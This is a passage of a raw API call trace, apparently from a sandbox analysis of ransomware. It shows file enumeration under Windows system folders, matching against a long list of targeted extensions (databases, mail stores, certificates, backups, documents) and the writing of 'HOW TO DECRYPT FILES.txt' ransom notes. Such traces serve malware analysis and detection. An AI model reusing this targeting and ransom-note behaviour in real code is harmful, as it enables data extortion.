[0109.669] lstrlenA (lpString="*.bz2") returned 5 [0109.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0109.669] lstrlenA (lpString="*.gz") returned 4 [0109.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0109.669] lstrlenA (lpString="*.mkv") returned 5 [0109.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0109.669] lstrlenA (lpString="*.eml") returned 5 [0109.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0109.669] lstrlenA (lpString="*.msg") returned 5 [0109.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0109.669] lstrlenA (lpString="*.edb") returned 5 [0109.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0109.669] lstrlenA (lpString="*.accdb") returned 7 [0109.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0109.670] lstrlenA (lpString="*.odb") returned 5 [0109.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.java") returned 0 [0109.670] lstrlenA (lpString="*.java") returned 6 [0109.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0109.670] lstrlenA (lpString="*.asm") returned 5 [0109.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0109.670] lstrlenA (lpString="*.pfx") returned 5 [0109.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0109.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0109.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0109.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0109.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0109.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0109.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0109.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0109.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0109.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0109.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0109.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0109.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0109.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0109.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0109.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0109.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0109.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0109.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0109.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0109.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0109.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0109.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0109.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0109.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0109.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0109.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0109.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0109.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0109.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0109.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0109.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0109.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0109.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0109.674] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x621c7040, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x621c7040, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x621c7040, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x4c000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.674] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.674] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60f2e460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60f2e460, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60f2e460, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="1f503665f8bdfc656829e4f233fe00cc", cAlternateFileName="1F5036~1")) returned 1 [0109.674] lstrcmpA (lpString1=".", lpString2="1f503665f8bdfc656829e4f233fe00cc") returned -1 [0109.674] lstrcmpA (lpString1="..", lpString2="1f503665f8bdfc656829e4f233fe00cc") returned -1 [0109.674] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0109.674] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="1f503665f8bdfc656829e4f233fe00cc" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc" [0109.674] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60f2e460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60f2e460, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60f2e460, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.697] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.697] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60f2e460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60f2e460, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60f2e460, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.697] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.697] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.697] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60f08300, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60f08300, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60f08300, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.698] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.698] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll") returned -1 [0109.698] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll") returned -1 [0109.698] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll") returned -1 [0109.698] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\*.*") returned="*.*" [0109.698] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\" [0109.698] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\") returned="" [0109.698] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\HOW TO DECRYPT FILES.txt" [0109.698] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\1f503665f8bdfc656829e4f233fe00cc\\how to decrypt files.txt")) returned 0xffffffff [0109.698] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\1f503665f8bdfc656829e4f233fe00cc\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.746] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.748] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.749] CloseHandle (hObject=0x90) returned 1 [0109.749] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll" [0109.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0109.749] lstrlenA (lpString="*.ems") returned 5 [0109.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.db") returned 0 [0109.749] lstrlenA (lpString="*.db") returned 4 [0109.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0109.749] lstrlenA (lpString="*.dbf") returned 5 [0109.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0109.749] lstrlenA (lpString="*.myox") returned 6 [0109.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0109.749] lstrlenA (lpString="*.myo") returned 5 [0109.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0109.750] lstrlenA (lpString="*.qbw") returned 5 [0109.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0109.750] lstrlenA (lpString="*.qbb") returned 5 [0109.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0109.750] lstrlenA (lpString="*.qbm") returned 5 [0109.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0109.750] lstrlenA (lpString="*.qbo") returned 5 [0109.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0109.750] lstrlenA (lpString="*.qbx") returned 5 [0109.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0109.750] lstrlenA (lpString="*.qba") returned 5 [0109.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0109.750] lstrlenA (lpString="*.qby") returned 5 [0109.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0109.750] lstrlenA (lpString="*.qbj") returned 5 [0109.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0109.750] lstrlenA (lpString="*.ofx") returned 5 [0109.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0109.750] lstrlenA (lpString="*.qif") returned 5 [0109.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0109.750] lstrlenA (lpString="*.mye") returned 5 [0109.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0109.751] lstrlenA (lpString="*.mbox") returned 6 [0109.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0109.751] lstrlenA (lpString="*.eml") returned 5 [0109.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0109.751] lstrlenA (lpString="*.pst") returned 5 [0109.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0109.751] lstrlenA (lpString="*.ost") returned 5 [0109.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0109.751] lstrlenA (lpString="*.idx") returned 5 [0109.751] PathMatchSpecA 